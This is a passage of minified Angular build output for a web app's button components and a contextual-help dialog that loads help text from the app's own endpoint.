0:n.event),this.clicked.emit(i||this.button)}createPrimaryDialogButton(t){return(null==t?void 0:t.primaryAction.id)?this.createButtonFromDialogAction(t.primaryAction):null}createButtonFromDialogAction(t){const{id:e,name:n,event:i,url:s}=t;return{action:{id:e,name:n,event:i,url:s}}}processBottomSheet(){if(!this.button)return;const t=Ot;this.bottomSheetPanelClass&&t.push(this.bottomSheetPanelClass);const e=this.bottomSheet.open(It,{data:{bottomSheet:this.button.bottomSheet},panelClass:t});e.instance&&e.instance.itemSelected&&e.instance.itemSelected.subscribe(t=>{this.bottomSheetItemSelected.emit(t)})}hasUrl(t){return!!t.action&&!!t.action.url}isSubmitButton(t){return!(!t.action||t.action.token)&&(0,u.G)(a.Ta6,t.action.type,a.Ta6.SUBMIT)}setButtonDisplayType(t){this.displayType=this.isSubmitButton(t)?Jt.SUBMIT_BUTTON:this.hasUrl(t)?Jt.ANCHOR_WITH_URL:Jt.ANCHOR_WITHOUT_URL}}Qt.\u0275fac=function(t){return new(t||Qt)(s.Y36(x.c),s.Y36(C.y),s.Y36(r.ch),s.Y36(E.uw),s.Y36(Ft))},Qt.\u0275cmp=s.Xpm({type:Qt,selectors:[["luno-button"]],hostVars:10,hostBindings:function(t,e){2&t&&s.ekj("is-primary",e.isPrimaryClass)("is-secondary",e.isSecondaryClass)("is-tertiary",e.isTertiaryClass)("is-guide",e.isGuideClass)("is-normal-case",e.isNormalCaseClass)},inputs:{button:"button",isDisabled:"isDisabled",isLoading:"isLoading",isNormalCase:"isNormalCase",dialogMaxWidth:"dialogMaxWidth",projectAssetsUrl:"projectAssetsUrl",textColor:"textColor",bottomSheetPanelClass:"bottomSheetPanelClass",themePalette:"themePalette"},outputs:{tokenActionComplete:"tokenActionComplete",clicked:"clicked",bottomSheetItemSelected:"bottomSheetItemSelected"},decls:3,vars:1,consts:[[3,"ngSwitch",4,"ngIf"],["buttonContent",""],[3,"ngSwitch"],[3,"buttonType","isDisabled","textColor","themePalette","clicked",4,"ngSwitchCase"],[3,"buttonType","button","params","isDisabled","isExternalLink","shouldOpenInNewWindow","rel","textColor","themePalette","projectAssetsUrl","clicked",4,"ngSwitchCase"],[3,"buttonType","isDisabled","textColor","themePalette","clicked"],[4,"ngTemplateOutlet"],[3,"buttonType","button","params","isDisabled","isExternalLink","shouldOpenInNewWindow","rel","textColor","themePalette","projectAssetsUrl","clicked"],[4,"ngIf"],["mode","indeterminate","diameter","24"]],template:function(t,e){1&t&&(s.YNc(0,qt,4,4,"ng-container",0),s.YNc(1,Zt,2,2,"ng-template",null,1,s.W1O)),2&t&&s.Q6J("ngIf",e.button)},styles:[".is-normal-case[_nghost-%COMP%]     .mat-button-wrapper{text-transform:none!important}a[_ngcontent-%COMP%]:focus{outline:none;text-decoration:inherit}.white-spinner[_ngcontent-%COMP%]  circle{stroke:var(--color-neutral-0)!important}.mat-icon[_ngcontent-%COMP%]{width:100%;display:flex;justify-content:center;align-items:center;height:48px}"]}),(0,i.gn)([(0,Ut.G)("onIsLoadingChange"),(0,i.w6)("design:type",Boolean)],Qt.prototype,"isLoading",void 0)},67456:function(t,e,n){"use strict";n.d(e,{h:function(){return ot}});var i=n(54364),s=n(70781),r=n(52529),o=n(80181),a=n(68456),c=n(47532),l=n(76322),u=n(28417),h=n(11378),d=n(1625),p=n(2316);let f=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[i.ez,d.To,r.Ps]]}),t})();var m=n(1707),g=n(76424),_=n(53116);let v=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[i.ez,h.N,r.Ps,u.ie,g.v,m.UX,_.H]]}),t})(),b=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[i.ez,f,v,d.To,u.ie]]}),t})(),y=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[i.ez,b]]}),t})(),w=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[i.ez,h.N,l._r,u.ie,y]]}),t})();var x=n(91797),C=n(72337),S=n(4726),E=n(43817);function k(t,e){1&t&&p.GkF(0)}function T(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",6),p.NdJ("click",function(e){return p.CHM(t),p.oxw(2).onClick(e)}),p.YNc(1,k,1,0,"ng-container",7),p.qZA()}if(2&t){const t=p.oxw(2),e=p.MAs(3);p.Udp("color",t.textColor),p.Q6J("disabled",t.isDisabled)("routerLink",t.isDisabled||null==t.button||null==t.button.action?null:t.button.action.url)("queryParams",t.params)("color",t.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function A(t,e){1&t&&p.GkF(0)}function I(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",8),p.NdJ("click",function(e){return p.CHM(t),p.oxw(2).onClick(e)}),p.YNc(1,A,1,0,"ng-container",7),p.qZA()}if(2&t){const t=p.oxw(2),e=p.MAs(3);p.Udp("color",t.textColor),p.Q6J("color",t.themePalette)("disabled",t.isDisabled)("routerLink",t.isDisabled||null==t.button||null==t.button.action?null:t.button.action.url)("queryParams",t.params),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function O(t,e){1&t&&p.GkF(0)}function R(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",9),p.NdJ("click",function(e){return p.CHM(t),p.oxw(2).onClick(e)}),p.YNc(1,O,1,0,"ng-container",7),p.qZA()}if(2&t){const t=p.oxw(2),e=p.MAs(3);p.Udp("color",t.textColor),p.Q6J("color",t.themePalette)("disabled",t.isDisabled)("routerLink",t.isDisabled||null==t.button||null==t.button.action?null:t.button.action.url)("queryParams",t.params),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function P(t,e){if(1&t&&(p.ynx(0,2),p.YNc(1,T,2,7,"a",3),p.YNc(2,I,2,7,"a",4),p.YNc(3,R,2,7,"a",5),p.BQk()),2&t){const t=p.oxw();p.Q6J("ngSwitch",t.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",t.buttonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",t.buttonTypeEnum.SECONDARY),p.xp6(1),p.Q6J("ngSwitchCase",t.buttonTypeEnum.TERTIARY)}}function N(t,e){1&t&&p.GkF(0)}function D(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",14),p.NdJ("click",function(e){return p.CHM(t),p.oxw(2).onClick(e)}),p.YNc(1,N,1,0,"ng-container",7),p.qZA()}if(2&t){const t=p.oxw(2),e=p.MAs(3);p.Udp("color",t.textColor),p.Q6J("disabled",t.isDisabled)("href",null==t.button||null==t.button.action?null:t.button.action.url,p.LSH)("target",t.shouldOpenInNewWindow?"_blank":"")("rel",t.rel)("color",t.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function L(t,e){1&t&&p.GkF(0)}function M(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",15),p.NdJ("click",function(e){return p.CHM(t),p.oxw(2).onClick(e)}),p.YNc(1,L,1,0,"ng-container",7),p.qZA()}if(2&t){const t=p.oxw(2),e=p.MAs(3);p.Udp("color",t.textColor),p.Q6J("disabled",t.isDisabled)("href",null==t.button||null==t.button.action?null:t.button.action.url,p.LSH)("target",t.shouldOpenInNewWindow?"_blank":"")("rel",t.rel)("color",t.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function F(t,e){1&t&&p.GkF(0)}function U(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",16),p.NdJ("click",function(e){return p.CHM(t),p.oxw(2).onClick(e)}),p.YNc(1,F,1,0,"ng-container",7),p.qZA()}if(2&t){const t=p.oxw(2),e=p.MAs(3);p.Udp("color",t.textColor),p.Q6J("disabled",t.isDisabled)("href",null==t.button||null==t.button.action?null:t.button.action.url,p.LSH)("target",t.shouldOpenInNewWindow?"_blank":"")("rel",t.rel)("color",t.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function B(t,e){if(1&t&&p._UZ(0,"luno-social-button",17),2&t){const t=p.oxw(2);p.Q6J("button",t.button)("projectAssetsUrl",t.projectAssetsUrl)}}function j(t,e){if(1&t&&(p.ynx(0,2),p.YNc(1,D,2,8,"a",10),p.YNc(2,M,2,8,"a",11),p.YNc(3,U,2,8,"a",12),p.YNc(4,B,1,2,"luno-social-button",13),p.BQk()),2&t){const t=p.oxw();p.Q6J("ngSwitch",t.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",t.buttonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",t.buttonTypeEnum.SECONDARY),p.xp6(1),p.Q6J("ngSwitchCase",t.buttonTypeEnum.TERTIARY),p.xp6(1),p.Q6J("ngSwitchCase",t.buttonTypeEnum.SOCIAL)}}function H(t,e){1&t&&p.Hsn(0)}const V=["*"];let G=(()=>{class t{constructor(){this.params={},this.isDisabled=!1,this.isExternalLink=!1,this.shouldOpenInNewWindow=!1,this.rel=null,this.themePalette="primary",this.clicked=new p.vpe,this.buttonTypeEnum=x.L$}onClick(t){this.clicked.emit(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=p.Xpm({type:t,selectors:[["luno-anchor-with-url-button"]],inputs:{buttonType:"buttonType",button:"button",params:"params",isDisabled:"isDisabled",isExternalLink:"isExternalLink",shouldOpenInNewWindow:"shouldOpenInNewWindow",rel:"rel",textColor:"textColor",themePalette:"themePalette",projectAssetsUrl:"projectAssetsUrl"},outputs:{clicked:"clicked"},ngContentSelectors:V,decls:4,vars:2,consts:[[3,"ngSwitch",4,"ngIf"],["buttonContent",""],[3,"ngSwitch"],["mat-flat-button","","role","button",3,"disabled","routerLink","queryParams","color","click",4,"ngSwitchCase"],["mat-button","",3,"color","disabled","routerLink","queryParams","click",4,"ngSwitchCase"],["mat-stroked-button","",3,"color","disabled","routerLink","queryParams","click",4,"ngSwitchCase"],["mat-flat-button","","role","button",3,"disabled","routerLink","queryParams","color","click"],[4,"ngTemplateOutlet"],["mat-button","",3,"color","disabled","routerLink","queryParams","click"],["mat-stroked-button","",3,"color","disabled","routerLink","queryParams","click"],["mat-flat-button","","role","button",3,"disabled","href","target","rel","color","click",4,"ngSwitchCase"],["mat-button","","role","button",3,"disabled","href","target","rel","color","click",4,"ngSwitchCase"],["mat-stroked-button","","role","button",3,"disabled","href","target","rel","color","click",4,"ngSwitchCase"],[3,"button","projectAssetsUrl",4,"ngSwitchCase"],["mat-flat-button","","role","button",3,"disabled","href","target","rel","color","click"],["mat-button","","role","button",3,"disabled","href","target","rel","color","click"],["mat-stroked-button","","role","button",3,"disabled","href","target","rel","color","click"],[3,"button","projectAssetsUrl"]],template:function(t,e){1&t&&(p.F$t(),p.YNc(0,P,4,4,"ng-container",0),p.YNc(1,j,5,5,"ng-container",0),p.YNc(2,H,1,0,"ng-template",null,1,p.W1O)),2&t&&(p.Q6J("ngIf",!e.isExternalLink),p.xp6(1),p.Q6J("ngIf",e.isExternalLink))},directives:[i.O5,i.RF,i.n9,s.zs,c.yS,i.tP,E.Y],encapsulation:2,changeDetection:0}),t})();function Y(t,e){1&t&&p.GkF(0)}function q(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",5),p.NdJ("click",function(e){return p.CHM(t),p.oxw().onClick(e)}),p.YNc(1,Y,1,0,"ng-container",6),p.qZA()}if(2&t){const t=p.oxw(),e=p.MAs(5);p.Udp("color",t.textColor),p.Q6J("disabled",t.isDisabled)("color",t.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function $(t,e){1&t&&p.GkF(0)}function z(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",7),p.NdJ("click",function(e){return p.CHM(t),p.oxw().onClick(e)}),p.YNc(1,$,1,0,"ng-container",6),p.qZA()}if(2&t){const t=p.oxw(),e=p.MAs(5);p.Udp("color",t.textColor),p.Q6J("disabled",t.isDisabled)("color",t.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function Z(t,e){1&t&&p.GkF(0)}function W(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"a",8),p.NdJ("click",function(e){return p.CHM(t),p.oxw().onClick(e)}),p.YNc(1,Z,1,0,"ng-container",6),p.qZA()}if(2&t){const t=p.oxw(),e=p.MAs(5);p.Udp("color",t.textColor),p.Q6J("disabled",t.isDisabled)("color",t.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function J(t,e){1&t&&p.Hsn(0)}const Q=["*"];let K=(()=>{class t{constructor(){this.isDisabled=!1,this.themePalette="primary",this.clicked=new p.vpe,this.ButtonTypeEnum=x.L$}onClick(t){this.clicked.emit(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=p.Xpm({type:t,selectors:[["luno-anchor-without-url-button"]],inputs:{buttonType:"buttonType",isDisabled:"isDisabled",textColor:"textColor",themePalette:"themePalette"},outputs:{clicked:"clicked"},ngContentSelectors:Q,decls:6,vars:4,consts:[[3,"ngSwitch"],["mat-flat-button","","role","button",3,"disabled","color","click",4,"ngSwitchCase"],["mat-button","","role","button",3,"disabled","color","click",4,"ngSwitchCase"],["mat-stroked-button","","role","button",3,"disabled","color","click",4,"ngSwitchCase"],["buttonContent",""],["mat-flat-button","","role","button",3,"disabled","color","click"],[4,"ngTemplateOutlet"],["mat-button","","role","button",3,"disabled","color","click"],["mat-stroked-button","","role","button",3,"disabled","color","click"]],template:function(t,e){1&t&&(p.F$t(),p.ynx(0,0),p.YNc(1,q,2,5,"a",1),p.YNc(2,z,2,5,"a",2),p.YNc(3,W,2,5,"a",3),p.BQk(),p.YNc(4,J,1,0,"ng-template",null,4,p.W1O)),2&t&&(p.Q6J("ngSwitch",e.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",e.ButtonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",e.ButtonTypeEnum.SECONDARY),p.xp6(1),p.Q6J("ngSwitchCase",e.ButtonTypeEnum.TERTIARY))},directives:[i.RF,i.n9,s.zs,i.tP],encapsulation:2,changeDetection:0}),t})();function X(t,e){1&t&&p.GkF(0)}function tt(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"button",4),p.NdJ("click",function(e){return p.CHM(t),p.oxw().onClick(e)}),p.YNc(1,X,1,0,"ng-container",5),p.qZA()}if(2&t){const t=p.oxw(),e=p.MAs(4);p.Udp("color",t.textColor),p.Q6J("color",t.themePalette)("disabled",t.isDisabled),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function et(t,e){1&t&&p.GkF(0)}function nt(t,e){if(1&t){const t=p.EpF();p.TgZ(0,"button",6),p.NdJ("click",function(e){return p.CHM(t),p.oxw().onClick(e)}),p.YNc(1,et,1,0,"ng-container",5),p.qZA()}if(2&t){const t=p.oxw(),e=p.MAs(4);p.Udp("color",t.textColor),p.Q6J("color",t.themePalette)("disabled",t.isDisabled),p.xp6(1),p.Q6J("ngTemplateOutlet",e)}}function it(t,e){1&t&&p.Hsn(0)}const st=["*"];let rt=(()=>{class t{constructor(){this.isDisabled=!1,this.themePalette="primary",this.clicked=new p.vpe,this.buttonTypeEnum=x.L$}onClick(t){this.clicked.emit(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=p.Xpm({type:t,selectors:[["luno-submit-button"]],inputs:{buttonType:"buttonType",isDisabled:"isDisabled",textColor:"textColor",themePalette:"themePalette"},outputs:{clicked:"clicked"},ngContentSelectors:st,decls:5,vars:3,consts:[[3,"ngSwitch"],["mat-flat-button","","type","submit","role","button",3,"color","disabled","click",4,"ngSwitchCase"],["mat-button","","type","submit","role","button",3,"color","disabled","click",4,"ngSwitchCase"],["buttonContent",""],["mat-flat-button","","type","submit","role","button",3,"color","disabled","click"],[4,"ngTemplateOutlet"],["mat-button","","type","submit","role","button",3,"color","disabled","click"]],template:function(t,e){1&t&&(p.F$t(),p.ynx(0,0),p.YNc(1,tt,2,5,"button",1),p.YNc(2,nt,2,5,"button",2),p.BQk(),p.YNc(3,it,1,0,"ng-template",null,3,p.W1O)),2&t&&(p.Q6J("ngSwitch",e.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",e.buttonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",e.buttonTypeEnum.SECONDARY))},directives:[i.RF,i.n9,s.lW,i.tP],encapsulation:2,changeDetection:0}),t})(),ot=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[w,i.ez,C.S,s.ot,r.Ps,o.Cq,a.ZX,c.Bz,S.u]]}),t})();p.B6R(x.r0,[i.O5,i.RF,i.n9,rt,i.tP,K,G,r.Hw,o.$g],[])},62940:function(t,e,n){"use strict";n.d(e,{X:function(){return N}});var i=n(22213),s=n(79441),r=n(22663),o=n(58625),a=n(70227),c=n(76491),l=n(33927),u=n(30706),h=n(96005),d=n(2316);let p=(()=>{class t{constructor(t){this.http=t,this.apiUrl_="/ajax/1/help/contextual",this.subject=new c.X(null)}get(t){return this.fetch().pipe((0,h._)(),(0,l.U)(e=>e.elements[t]))}fetch(){return this.subject.value?this.subject:this.http.get(this.apiUrl_,{}).pipe((0,l.U)(t=>(this.subject.next(t),t)))}}return t.\u0275fac=function(e){return new(e||t)(d.LFG(u.OE))},t.\u0275prov=d.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var f=n(62157),m=n(54364),g=n(74058),_=n(1707),v=n(70781),b=n(47532);function y(t,e){if(1&t&&d._UZ(0,"img",6),2&t){const t=d.oxw();d.Q6J("src",t.headerImageUrl,d.LSH)}}function w(t,e){if(1&t&&d._UZ(0,"div",7),2&t){const t=d.oxw();d.Q6J("innerHTML",t.bodyHtml,d.oJD)}}function x(t,e){if(1&t&&(d.TgZ(0,"div",8),d.TgZ(1,"mat-checkbox",9),d._UZ(2,"p",10),d.qZA(),d.qZA()),2&t){const t=d.oxw();d.ekj("error",t.hasAttemptedConfirm&&!t.checkbox.value),d.xp6(1),d.Q6J("formControl",t.checkbox),d.xp6(1),d.Q6J("innerHTML",t.checkboxText,d.oJD)}}function C(t,e){if(1&t){const t=d.EpF();d.TgZ(0,"button",12),d.NdJ("click",function(){return d.CHM(t),d.oxw(2).dismiss(!1)}),d._uU(1),d.qZA()}if(2&t){const t=d.oxw(2);d.uIk("cdkFocusInitial",!!t.focusSecondaryButton||null),d.xp6(1),d.Oqu(t.secondaryActionName)}}function S(t,e){if(1&t){const t=d.EpF();d.TgZ(0,"a",15),d.NdJ("click",function(){return d.CHM(t),d.oxw(3).dismiss(!1)}),d._uU(1),d.qZA()}if(2&t){const t=d.oxw(3);d.Q6J("routerLink",t.secondaryActionUrl)("queryParams",t.secondaryActionUrlParams),d.xp6(1),d.Oqu(t.secondaryActionName)}}function E(t,e){if(1&t){const t=d.EpF();d.TgZ(0,"a",16),d.NdJ("click",function(){return d.CHM(t),d.oxw(3).dismiss(!1)}),d._uU(1),d.qZA()}if(2&t){const t=d.oxw(3);d.Q6J("href",t.secondaryActionUrl,d.LSH)("target",t.shouldOpenInNewWindow(t.secondaryActionUrl)?"_blank":""),d.xp6(1),d.Oqu(t.secondaryActionName)}}function k(t,e){if(1&t&&(d.ynx(0),d.YNc(1,S,2,3,"a",13),d.YNc(2,E,2,3,"a",14),d.BQk()),2&t){const t=d.oxw(2);d.xp6(1),d.Q6J("ngIf",!t.showExternalLink(t.secondaryActionUrl)),d.xp6(1),d.Q6J("ngIf",t.showExternalLink(t.secondaryActionUrl))}}function T(t,e){if(1&t&&(d.ynx(0),d.YNc(1,C,2,2,"button",11),d.YNc(2,k,3,2,"ng-container",5),d.BQk()),2&t){const t=d.oxw();d.xp6(1),d.Q6J("ngIf",t.showSecondaryButton),d.xp6(1),d.Q6J("ngIf",t.showSecondaryLink)}}function A(t,e){if(1&t){const t=d.EpF();d.TgZ(0,"button",12),d.NdJ("click",function(){return d.CHM(t),d.oxw(2).dismiss(!0)}),d._uU(1),d.qZA()}if(2&t){const t=d.oxw(2);d.uIk("cdkFocusInitial",!t.focusSecondaryButton||null),d.xp6(1),d.Oqu(t.primaryActionName)}}function I(t,e){if(1&t){const t=d.EpF();d.TgZ(0,"a",15),d.NdJ("click",function(){return d.CHM(t),d.oxw(3).dismiss(!0)}),d._uU(1),d.qZA()}if(2&t){const t=d.oxw(3);d.Q6J("routerLink",t.primaryActionUrl)("queryParams",t.primaryActionUrlParams),d.xp6(1),d.Oqu(t.primaryActionName)}}function O(t,e){if(1&t){const t=d.EpF();d.TgZ(0,"a",16),d.NdJ("click",function(){return d.CHM(t),d.oxw(3).dismiss(!0)}),d._uU(1),d.qZA()}if(2&t){const t=d.oxw(3);d.Q6J("href",t.primaryActionUrl,d.LSH)("target",t.shouldOpenInNewWindow(t.primaryActionUrl)?"_blank":""),d.xp6(1),d.Oqu(t.primaryActionName)}}function R(t,e){if(1&t&&(d.ynx(0),d.YNc(1,I,2,3,"a",13),d.YNc(2,O,2,3,"a",14),d.BQk()),2&t){const t=d.oxw(2);d.xp6(1),d.Q6J("ngIf",!t.showExternalLink(t.primaryActionUrl)),d.xp6(1),d.Q6J("ngIf",t.showExternalLink(t.primaryActionUrl))}}function P(t,e){if(1&t&&(d.ynx(0),d.YNc(1,A,2,2,"button",11),d.YNc(2,R,3,2,"ng-container",5),d.BQk()),2&t){const t=d.oxw();d.xp6(1),d.Q6J("ngIf",t.showPrimaryButton),d.xp6(1),d.Q6J("ngIf",t.showPrimaryLink)}}let N=(()=>{class t extends f.a{constructor(t,e,n,i,r){super(e,n,i,{}),this.contextualHelpService=t,this.analyticsService=e,this.dialogRef=n,this.actionService=i,this.data=r,this.unsubscribe$=new s.xQ}ngOnInit(){this.fetchHelpData()}ngOnDestroy(){this.unsubscribe$.next(),this.unsubscribe$.complete()}fetchHelpData(){this.contextualHelpService.get(this.data.helpElementId).pipe((0,r.R)(this.unsubscribe$)).subscribe(t=>{this.setConfig(this.elementHelpToDialog(t))})}elementHelpToDialog(t){return{title:t.title||"",bodyHtml:t.bodyHtml||"",primaryAction:t.primaryAction,secondaryAction:t.secondaryAction}}}return t.\u0275fac=function(e){return new(e||t)(d.Y36(p),d.Y36(a.y),d.Y36(i.so),d.Y36(o.c),d.Y36(i.WI))},t.\u0275cmp=d.Xpm({type:t,selectors:[["luno-contextual-help"]],features:[d.qOj],decls:8,vars:6,consts:[[3,"src",4,"ngIf"],["mat-dialog-title","",3,"innerHtml"],["class","body",3,"innerHTML",4,"ngIf"],["class","checkbox-container",3,"error",4,"ngIf"],["align","end"],[4,"ngIf"],[3,"src"],[1,"body",3,"innerHTML"],[1,"checkbox-container"],["color","primary",3,"formControl"],[1,"checkbox-label",3,"innerHTML"],["mat-button","","color","primary",3,"click",4,"ngIf"],["mat-button","","color","primary",3,"click"],["mat-button","","color","primary",3,"routerLink","queryParams","click",4,"ngIf"],["mat-button","","color","primary","role","button",3,"href","target","click",4,"ngIf"],["mat-button","","color","primary",3,"routerLink","queryParams","click"],["mat-button","","color","primary","role","button",3,"href","target","click"]],template:function(t,e){1&t&&(d.YNc(0,y,1,1,"img",0),d._UZ(1,"h2",1),d.TgZ(2,"mat-dialog-content"),d.YNc(3,w,1,1,"div",2),d.YNc(4,x,3,4,"div",3),d.qZA(),d.TgZ(5,"mat-dialog-actions",4),d.YNc(6,T,3,2,"ng-container",5),d.YNc(7,P,3,2,"ng-container",5),d.qZA()),2&t&&(d.Q6J("ngIf",e.headerImageUrl),d.xp6(1),d.Q6J("innerHtml",e.titleHtml,d.oJD),d.xp6(2),d.Q6J("ngIf",e.bodyHtml),d.xp6(1),d.Q6J("ngIf",e.checkboxText),d.xp6(2),d.Q6J("ngIf",e.secondaryActionName),d.xp6(1),d.Q6J("ngIf",e.primaryActionName))},directives:[m.O5,i.uh,i.xY,i.H8,g.oG,_.JJ,_.oH,v.lW,v.zs,b.yS],styles:["h2[_ngcontent-%COMP%]{text-align:left;font-size:22px;color:var(--color-primary);font-weight:800}h2.mat-dialog-title[_ngcontent-%COMP%]{font-size:20px;line-height:1.3}.body[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:500}.body[_ngcontent-%COMP%]     a{color:#0091ff;text-decoration:none;font-weight:800}img[_ngcontent-%COMP%]{width:50px;margin:5px 0}.checkbox-container[_ngcontent-%COMP%]{padding-top:16px}.checkbox-container[_ngcontent-%COMP%]   mat-checkbox[_ngcontent-%COMP%]     label{white-space:normal}.checkbox-container.error[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{color:var(--color-error)}.checkbox-container[_ngcontent-%COMP%]   .checkbox-label[_ngcontent-%COMP%]{margin:0 0 0 8px;padding-top:2px}mat-dialog-actions[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap-reverse}"]}),t})()},53116:function(t,e,n){"use strict";n.d(e,{H:function(){return u}});var i=n(54364),s=n(1707),r=n(70781),o=n(74058),a=n(22213),c=n(47532),l=n(2316);let u=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=l.oAB({type:t}),t.\u0275inj=l.cJS({imports:[[i.ez,r.ot,o.p9,a.Is,s.UX,c.Bz]]}),t})()},62157:function(t,e,n){"use strict";n.d(e,{a:function(){return E}});var i=n(1707),s=n(22213),r=n(58625),o=n(70227),a=n(2316),c=n(54364),l=n(74058),u=n(70781),h=n(47532);function d(t,e){if(1&t&&a._UZ(0,"img",6),2&t){const t=a.oxw();a.Q6J("src",t.headerImageUrl,a.LSH)}}function p(t,e){if(1&t&&a._UZ(0,"div",7),2&t){const t=a.oxw();a.Q6J("innerHTML",t.bodyHtml,a.oJD)}}function f(t,e){if(1&t&&(a.TgZ(0,"div",8),a.TgZ(1,"mat-checkbox",9),a._UZ(2,"p",10),a.qZA(),a.qZA()),2&t){const t=a.oxw();a.ekj("error",t.hasAttemptedConfirm&&!t.checkbox.value),a.xp6(1),a.Q6J("formControl",t.checkbox),a.xp6(1),a.Q6J("innerHTML",t.checkboxText,a.oJD)}}function m(t,e){if(1&t){const t=a.EpF();a.TgZ(0,"button",12),a.NdJ("click",function(){return a.CHM(t),a.oxw(2).dismiss(!1)}),a._uU(1),a.qZA()}if(2&t){const t=a.oxw(2);a.uIk("cdkFocusInitial",!!t.focusSecondaryButton||null),a.xp6(1),a.Oqu(t.secondaryActionName)}}function g(t,e){if(1&t){const t=a.EpF();a.TgZ(0,"a",15),a.NdJ("click",function(){return a.CHM(t),a.oxw(3).dismiss(!1)}),a._uU(1),a.qZA()}if(2&t){const t=a.oxw(3);a.Q6J("routerLink",t.secondaryActionUrl)("queryParams",t.secondaryActionUrlParams),a.xp6(1),a.Oqu(t.secondaryActionName)}}function _(t,e){if(1&t){const t=a.EpF();a.TgZ(0,"a",16),a.NdJ("click",function(){return a.CHM(t),a.oxw(3).dismiss(!1)}),a._uU(1),a.qZA()}if(2&t){const t=a.oxw(3);a.Q6J("href",t.secondaryActionUrl,a.LSH)("target",t.shouldOpenInNewWindow(t.secondaryActionUrl)?"_blank":""),a.xp6(1),a.Oqu(t.secondaryActionName)}}function v(t,e){if(1&t&&(a.ynx(0),a.YNc(1,g,2,3,"a",13),a.YNc(2,_,2,3,"a",14),a.BQk()),2&t){const t=a.oxw(2);a.xp6(1),a.Q6J("ngIf",!t.showExternalLink(t.secondaryActionUrl)),a.xp6(1),a.Q6J("ngIf",t.showExternalLink(t.secondaryActionUrl))}}function b(t,e){if(1&t&&(a.ynx(0),a.YNc(1,m,2,2,"button",11),a.YNc(2,v,3,2,"ng-container",5),a.BQk()),2&t){const t=a.oxw();a.xp6(1),a.Q6J("ngIf",t.showSecondaryButton),a.xp6(1),a.Q6J("ngIf",t.showSecondaryLink)}}function y(t,e){if(1&t){const t=a.EpF();a.TgZ(0,"button",12),a.NdJ("click",function(){return a.CHM(t),a.oxw(2).dismiss(!0)}),a._uU(1),a.qZA()}if(2&t){const t=a.oxw(2);a.uIk("cdkFocusInitial",!t.focusSecondaryButton||null),a.xp6(1),a.Oqu(t.primaryActionName)}}function w(t,e){if(1&t){const t=a.EpF();a.TgZ(0,"a",15),a.NdJ("click",function(){return a.CHM(t),a.oxw(3).dismiss(!0)}),a._uU(1),a.qZA()}if(2&t){const t=a.oxw(3);a.Q6J("routerLink",t.primaryActionUrl)("queryParams",t.primaryActionUrlParams),a.xp6(1),a.Oqu(t.primaryActionName)}}function x(t,e){if(1&t){const t=a.EpF();a.TgZ(0,"a",16),a.NdJ("click",function(){return a.CHM(t),a.oxw(3).dismiss(!0)}),a._uU(1),a.qZA()}if(2&t){const t=a.oxw(3);a.Q6J("href",t.primaryActionUrl,a.LSH)("target",t.shouldOpenInNewWindow(t.primaryActionUrl)?"_blank":""),a.xp6(1),a.Oqu(t.primaryActionName)}}function C(t,e){if(1&t&&(a.ynx(0),a.YNc(1,w,2,3,"a",13),a.YNc(2,x,2,3,"a",14),a.BQk()),2&t){const t=a.oxw(2);a.xp6(1),a.Q6J("ngIf",!t.showExternalLink(t.primaryActionUrl)),a.xp6(1),a.Q6J("ngIf",t.showExternalLink(t.primaryActionUrl))}}function S(t,e){if(1&t&&(a.ynx(0),a.YNc(1,y,2,2,"button",11),a.YNc(2,C,3,2,"ng-container",5),a.BQk()),2&t){const t=a.oxw();a.xp6(1),a.Q6J("ngIf",t.showPrimaryButton),a.xp6(1),a.Q6J("ngIf",t.showPrimaryLink)}}let E=(()=>{class 